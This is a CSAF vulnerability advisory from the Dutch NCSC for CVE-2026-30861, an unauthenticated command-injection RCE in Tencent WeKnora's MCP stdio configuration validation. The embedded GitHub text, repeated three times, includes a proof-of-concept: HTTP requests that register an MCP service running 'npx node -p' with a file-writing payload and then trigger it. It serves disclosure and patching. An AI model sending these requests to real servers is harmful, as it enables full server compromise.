{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-30861",
        "tracking": {
            "current_release_date": "2026-03-27T21:02:17.624284Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-30861",
            "initial_release_date": "2026-03-07T02:39:52.203320Z",
            "revision_history": [
                {
                    "date": "2026-03-07T02:39:52.203320Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T02:40:02.040211Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-07T06:12:41.084840Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T06:12:50.157990Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-07T11:35:08.392900Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-07T17:25:27.606651Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T17:25:30.564251Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-07T17:38:53.970405Z",
                    "number": "8",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T17:39:01.688784Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-08T14:48:51.768061Z",
                    "number": "10",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-08T14:49:05.178634Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-09T13:39:50.199805Z",
                    "number": "12",
                    "summary": "Description removed for source.| Description created for source.| References created (1)."
                },
                {
                    "date": "2026-03-09T15:50:55.402923Z",
                    "number": "13",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-09T18:12:44.779976Z",
                    "number": "14",
                    "summary": "Description removed for source.| Description created for source.| Products connected (1).| Products removed (1).| References created (1)."
                },
                {
                    "date": "2026-03-09T18:28:07.440277Z",
                    "number": "15",
                    "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-09T18:28:09.931163Z",
                    "number": "16",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-09T18:39:12.877032Z",
                    "number": "17",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-09T21:55:34.171760Z",
                    "number": "18",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-11T02:27:15.749966Z",
                    "number": "19",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-19T15:29:10.714100Z",
                    "number": "20",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-19T15:29:13.215622Z",
                    "number": "21",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:33:47.974398Z",
                    "number": "22",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-24T10:36:58.663404Z",
                    "number": "23",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T18:15:17.946686Z",
                    "number": "24",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (2)."
                },
                {
                    "date": "2026-03-25T18:15:20.484194Z",
                    "number": "25",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T21:02:12.326480Z",
                    "number": "26",
                    "summary": "EPSS updated."
                },
                {
                    "date": "2026-03-27T21:02:15.463701Z",
                    "number": "27",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "27"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0.2.5|<0.2.10",
                                "product": {
                                    "name": "vers:unknown/>=0.2.5|<0.2.10",
                                    "product_id": "CSAFPID-5770073"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "WeKnora"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0.2.5|<0.2.10",
                                "product": {
                                    "name": "vers:unknown/>=0.2.5|<0.2.10",
                                    "product_id": "CSAFPID-5772004",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:tencent:weknora:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "weknora"
                    }
                ],
                "category": "vendor",
                "name": "Tencent"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-30861",
            "cwe": {
                "id": "CWE-78",
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. From version 0.2.5 to before version 0.2.10, an unauthenticated remote code execution (RCE) vulnerability exists in the MCP stdio configuration validation. The application allows unrestricted user registration, meaning any attacker can create an account and exploit the command injection flaw. Despite implementing a whitelist for allowed commands (npx, uvx) and blacklists for dangerous arguments and environment variables, the validation can be bypassed using the -p flag with npx node. This allows any attacker to execute arbitrary commands with the application's privileges, leading to complete system compromise. This issue has been patched in version 0.2.10.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-30861"
                },
                {
                    "category": "description",
                    "text": "WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. From version 0.2.5 to before version 0.2.10, an unauthenticated remote code execution (RCE) vulnerability exists in the MCP stdio configuration validation. The application allows unrestricted user registration, meaning any attacker can create an account and exploit the command injection flaw. Despite implementing a whitelist for allowed commands (npx, uvx) and blacklists for dangerous arguments and environment variables, the validation can be bypassed using the -p flag with npx node. This allows any attacker to execute arbitrary commands with the application's privileges, leading to complete system compromise. This issue has been patched in version 0.2.10.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-30861"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nA critical unauthenticated remote code execution (RCE) vulnerability exists in the MCP stdio configuration validation introduced in version 2.0.5. \n\nThe application allows unrestricted user registration, meaning any attacker can create an account and exploit the command injection flaw. Despite implementing a whitelist for allowed commands (`npx`, `uvx`) and blacklists for dangerous arguments and environment variables, the validation can be bypassed using the `-p` flag with `npx node`. This allows any attacker to execute arbitrary commands with the application's privileges, leading to complete system compromise. \n\nThe vulnerability remained unfixed across multiple releases (2.0.6-2.0.9) before being silently patched in version 2.0.10, without a published CVE, potentially leaving customers unaware.\n\n### Details\n\nThe application's open registration policy, combined with the vulnerable MCP stdio configuration, creates an unrestricted attack surface. Any attacker can:\n1. Register a new account without restrictions (no email verification, approval process, or rate limiting mentioned)\n2. Obtain API authentication credentials\n3. Exploit the command injection vulnerability to execute arbitrary code\n\nThe security patch introduced in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb attempts to prevent command injection through:\n1. **Command Whitelist**: Only `uvx` and `npx` are allowed\n2. **Argument Blacklist**: Blocks dangerous patterns including shells, command chaining, and path traversal\n3. **Environment Variable Blacklist**: Restricts sensitive variables like `LD_PRELOAD`, `PATH`, etc.\n\nHowever, the patch has a critical flaw: the `-p` flag in `npx node` is not explicitly blocked in the `DangerousArgPatterns` regex list. The `-p` flag allows Node.js to evaluate and execute arbitrary JavaScript code, effectively bypassing the argument validation.\n\nThe vulnerable code flow:\n- `ValidateStdioConfig()` calls `ValidateStdioArgs(args)`\n- `ValidateStdioArgs()` checks each argument against `DangerousArgPatterns`\n- The pattern list does not include `-p` or similar execution flags\n- Arguments like `[\"node\", \"-p\", \"require('fs').writeFileSync(...)\"]` pass validation\n- When executed, `npx node -p <payload>` executes the JavaScript payload\n\n**Timeline of Concern:**\n- **Version 2.0.5**: Initial patch introducing validation (incomplete/bypassable)\n- **Versions 2.0.6-2.0.9**: Vulnerability persists with no public notification\n- **Version 2.0.10** (commit 57d6fea8bc265ad28b385e0158957c870cff4b50): Stdio-based MCP server is disabled entirely.\n- **Issue**: The hot fix was deployed silently without a CVE publication or security advisory, meaning customers using versions 2.0.5-2.0.9 remained unaware of the critical vulnerability\n\nThis silent fix pattern poses significant risks:\n- Customers may not know to update immediately\n- Security scanning tools may not flag the vulnerability without a published CVE\n- Organisations relying on vendor advisories have no record of the issue\n- There is no documented attack history or mitigation guidance for affected versions\n\n### PoC\n\n**Step 1: Register a new account (unauthenticated)**\n\n**Step 2: Create a malicious MCP service**\n\n```http\nPOST /api/v1/mcp-services HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]\nContent-Type: application/json\n\n{\n    \"name\":\"rce\",\n    \"description\":\"rce\",\n    \"enabled\":true,\n    \"transport_type\":\"stdio\",\n    \"stdio_config\":{\n        \"command\":\"npx\",\n        \"args\":[\"node\",\"-p\",\"require('fs').writeFileSync('/tmp/pwned.txt', 'Hacked by attacker')\"]\n    },\n    \"env_vars\":{}\n}\n```\n\nResponse will contain the service ID (e.g., 087854f4-bde3-4468-8702-4aeb95c868da)\n\n**Step 3: Trigger the RCE by testing the service**\n\n```http\nPOST /api/v1/mcp-services/087854f4-bde3-4468-8702-4aeb95c868da/test HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]\nContent-Type: application/json\n\n{}\n```\n\n**Step 4: Verify exploitation**\n\nOn the server, the file `/tmp/pwned.txt` will be created with content \"Hacked by attacker\", confirming arbitrary command execution.\n\n### Impact\n\n**Severity**: Critical\n\nUnauthenticated RCE allowing complete server compromise. An attacker can register an account and execute arbitrary commands with full application privileges.\n\n- Full data breach and system compromise\n- Install malware, backdoors, ransomware\n- Lateral movement to internal systems\n- Versions 2.0.5-2.0.9 vulnerable without notification\n\n**Immediate Actions**:\n1. Upgrade to 2.0.10+ immediately\n2. Review logs for exploitation since 2.0.5\n3. Check for suspicious MCP configurations\n4. Monitor for unauthorized file creation\n5. Assume breach if compromise suspected\n---",
                    "title": "github - https://github.com/advisories/GHSA-r55h-3rwj-hcmg"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nA critical unauthenticated remote code execution (RCE) vulnerability exists in the MCP stdio configuration validation introduced in version 2.0.5. \n\nThe application allows unrestricted user registration, meaning any attacker can create an account and exploit the command injection flaw. Despite implementing a whitelist for allowed commands (`npx`, `uvx`) and blacklists for dangerous arguments and environment variables, the validation can be bypassed using the `-p` flag with `npx node`. This allows any attacker to execute arbitrary commands with the application's privileges, leading to complete system compromise. \n\nThe vulnerability remained unfixed across multiple releases (2.0.6-2.0.9) before being silently patched in version 2.0.10, without a published CVE, potentially leaving customers unaware.\n\n### Details\n\nThe application's open registration policy, combined with the vulnerable MCP stdio configuration, creates an unrestricted attack surface. Any attacker can:\n1. Register a new account without restrictions (no email verification, approval process, or rate limiting mentioned)\n2. Obtain API authentication credentials\n3. Exploit the command injection vulnerability to execute arbitrary code\n\nThe security patch introduced in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb attempts to prevent command injection through:\n1. **Command Whitelist**: Only `uvx` and `npx` are allowed\n2. **Argument Blacklist**: Blocks dangerous patterns including shells, command chaining, and path traversal\n3. **Environment Variable Blacklist**: Restricts sensitive variables like `LD_PRELOAD`, `PATH`, etc.\n\nHowever, the patch has a critical flaw: the `-p` flag in `npx node` is not explicitly blocked in the `DangerousArgPatterns` regex list. The `-p` flag allows Node.js to evaluate and execute arbitrary JavaScript code, effectively bypassing the argument validation.\n\nThe vulnerable code flow:\n- `ValidateStdioConfig()` calls `ValidateStdioArgs(args)`\n- `ValidateStdioArgs()` checks each argument against `DangerousArgPatterns`\n- The pattern list does not include `-p` or similar execution flags\n- Arguments like `[\"node\", \"-p\", \"require('fs').writeFileSync(...)\"]` pass validation\n- When executed, `npx node -p <payload>` executes the JavaScript payload\n\n**Timeline of Concern:**\n- **Version 2.0.5**: Initial patch introducing validation (incomplete/bypassable)\n- **Versions 2.0.6-2.0.9**: Vulnerability persists with no public notification\n- **Version 2.0.10** (commit 57d6fea8bc265ad28b385e0158957c870cff4b50): Stdio-based MCP server is disabled entirely.\n- **Issue**: The hot fix was deployed silently without a CVE publication or security advisory, meaning customers using versions 2.0.5-2.0.9 remained unaware of the critical vulnerability\n\nThis silent fix pattern poses significant risks:\n- Customers may not know to update immediately\n- Security scanning tools may not flag the vulnerability without a published CVE\n- Organisations relying on vendor advisories have no record of the issue\n- There is no documented attack history or mitigation guidance for affected versions\n\n### PoC\n\n**Step 1: Register a new account (unauthenticated)**\n\n**Step 2: Create a malicious MCP service**\n\n```http\nPOST /api/v1/mcp-services HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]\nContent-Type: application/json\n\n{\n    \"name\":\"rce\",\n    \"description\":\"rce\",\n    \"enabled\":true,\n    \"transport_type\":\"stdio\",\n    \"stdio_config\":{\n        \"command\":\"npx\",\n        \"args\":[\"node\",\"-p\",\"require('fs').writeFileSync('/tmp/pwned.txt', 'Hacked by attacker')\"]\n    },\n    \"env_vars\":{}\n}\n```\n\nResponse will contain the service ID (e.g., 087854f4-bde3-4468-8702-4aeb95c868da)\n\n**Step 3: Trigger the RCE by testing the service**\n\n```http\nPOST /api/v1/mcp-services/087854f4-bde3-4468-8702-4aeb95c868da/test HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]\nContent-Type: application/json\n\n{}\n```\n\n**Step 4: Verify exploitation**\n\nOn the server, the file `/tmp/pwned.txt` will be created with content \"Hacked by attacker\", confirming arbitrary command execution.\n\n### Impact\n\n**Severity**: Critical\n\nUnauthenticated RCE allowing complete server compromise. An attacker can register an account and execute arbitrary commands with full application privileges.\n\n- Full data breach and system compromise\n- Install malware, backdoors, ransomware\n- Lateral movement to internal systems\n- Versions 2.0.5-2.0.9 vulnerable without notification\n\n**Immediate Actions**:\n1. Upgrade to 2.0.10+ immediately\n2. Review logs for exploitation since 2.0.5\n3. Check for suspicious MCP configurations\n4. Monitor for unauthorized file creation\n5. Assume breach if compromise suspected\n---",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-r55h-3rwj-hcmg.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nA critical unauthenticated remote code execution (RCE) vulnerability exists in the MCP stdio configuration validation introduced in version 2.0.5. \n\nThe application allows unrestricted user registration, meaning any attacker can create an account and exploit the command injection flaw. Despite implementing a whitelist for allowed commands (`npx`, `uvx`) and blacklists for dangerous arguments and environment variables, the validation can be bypassed using the `-p` flag with `npx node`. This allows any attacker to execute arbitrary commands with the application's privileges, leading to complete system compromise. \n\nThe vulnerability remained unfixed across multiple releases (2.0.6-2.0.9) before being silently patched in version 2.0.10, without a published CVE, potentially leaving customers unaware.\n\n### Details\n\nThe application's open registration policy, combined with the vulnerable MCP stdio configuration, creates an unrestricted attack surface. Any attacker can:\n1. Register a new account without restrictions (no email verification, approval process, or rate limiting mentioned)\n2. Obtain API authentication credentials\n3. Exploit the command injection vulnerability to execute arbitrary code\n\nThe security patch introduced in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb attempts to prevent command injection through:\n1. **Command Whitelist**: Only `uvx` and `npx` are allowed\n2. **Argument Blacklist**: Blocks dangerous patterns including shells, command chaining, and path traversal\n3. **Environment Variable Blacklist**: Restricts sensitive variables like `LD_PRELOAD`, `PATH`, etc.\n\nHowever, the patch has a critical flaw: the `-p` flag in `npx node` is not explicitly blocked in the `DangerousArgPatterns` regex list. The `-p` flag allows Node.js to evaluate and execute arbitrary JavaScript code, effectively bypassing the argument validation.\n\nThe vulnerable code flow:\n- `ValidateStdioConfig()` calls `ValidateStdioArgs(args)`\n- `ValidateStdioArgs()` checks each argument against `DangerousArgPatterns`\n- The pattern list does not include `-p` or similar execution flags\n- Arguments like `[\"node\", \"-p\", \"require('fs').writeFileSync(...)\"]` pass validation\n- When executed, `npx node -p <payload>` executes the JavaScript payload\n\n**Timeline of Concern:**\n- **Version 2.0.5**: Initial patch introducing validation (incomplete/bypassable)\n- **Versions 2.0.6-2.0.9**: Vulnerability persists with no public notification\n- **Version 2.0.10** (commit 57d6fea8bc265ad28b385e0158957c870cff4b50): Stdio-based MCP server is disabled entirely.\n- **Issue**: The hot fix was deployed silently without a CVE publication or security advisory, meaning customers using versions 2.0.5-2.0.9 remained unaware of the critical vulnerability\n\nThis silent fix pattern poses significant risks:\n- Customers may not know to update immediately\n- Security scanning tools may not flag the vulnerability without a published CVE\n- Organisations relying on vendor advisories have no record of the issue\n- There is no documented attack history or mitigation guidance for affected versions\n\n### PoC\n\n**Step 1: Register a new account (unauthenticated)**\n\n**Step 2: Create a malicious MCP service**\n\n```http\nPOST /api/v1/mcp-services HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]\nContent-Type: application/json\n\n{\n    \"name\":\"rce\",\n    \"description\":\"rce\",\n    \"enabled\":true,\n    \"transport_type\":\"stdio\",\n    \"stdio_config\":{\n        \"command\":\"npx\",\n        \"args\":[\"node\",\"-p\",\"require('fs').writeFileSync('/tmp/pwned.txt', 'Hacked by attacker')\"]\n    },\n    \"env_vars\":{}\n}\n```\n\nResponse will contain the service ID (e.g., 087854f4-bde3-4468-8702-4aeb95c868da)\n\n**Step 3: Trigger the RCE by testing the service**\n\n```http\nPOST /api/v1/mcp-services/087854f4-bde3-4468-8702-4aeb95c868da/test HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]\nContent-Type: application/json\n\n{}\n```\n\n**Step 4: Verify exploitation**\n\nOn the server, the file `/tmp/pwned.txt` will be created with content \"Hacked by attacker\", confirming arbitrary command execution.\n\n### Impact\n\n**Severity**: Critical\n\nUnauthenticated RCE allowing complete server compromise. An attacker can register an account and execute arbitrary commands with full application privileges.\n\n- Full data breach and system compromise\n- Install malware, backdoors, ransomware\n- Lateral movement to internal systems\n- Versions 2.0.5-2.0.9 vulnerable without notification\n\n**Immediate Actions**:\n1. Upgrade to 2.0.10+ immediately\n2. Review logs for exploitation since 2.0.5\n3. Check for suspicious MCP configurations\n4. Monitor for unauthorized file creation\n5. Assume breach if compromise suspected\n---",
                    "title": "github - https://api.github.com/advisories/GHSA-r55h-3rwj-hcmg"
                },
                {
                    "category": "description",
                    "text": "WeKnora has Remote Code Execution (RCE) via Command Injection in MCP Stdio Configuration Validation in github.com/Tencent/WeKnora",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4645.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00062",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "5.0",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is product data available from a private source, There is cvss data available from a private source, There is product data available from source Cveprojectv5",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, The value of the most recent EPSS score",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5770073",
                    "CSAFPID-5772004"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-r55h-3rwj-hcmg"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-r55h-3rwj-hcmg"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-r55h-3rwj-hcmg.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30861"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-30861"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-30861"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/30xxx/CVE-2026-30861.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30861"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-r55h-3rwj-hcmg"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4645.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/Tencent/WeKnora/security/advisories/GHSA-r55h-3rwj-hcmg"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://github.com/Tencent/WeKnora/commit/57d6fea8bc265ad28b385e0158957c870cff4b50"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-r55h-3rwj-hcmg"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30861"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
                        "baseScore": 10.0,
                        "baseSeverity": "CRITICAL"
                    },
                    "products": [
                        "CSAFPID-5770073",
                        "CSAFPID-5772004"
                    ]
                }
            ],
            "title": "CVE-2026-30861"
        }
    ]
}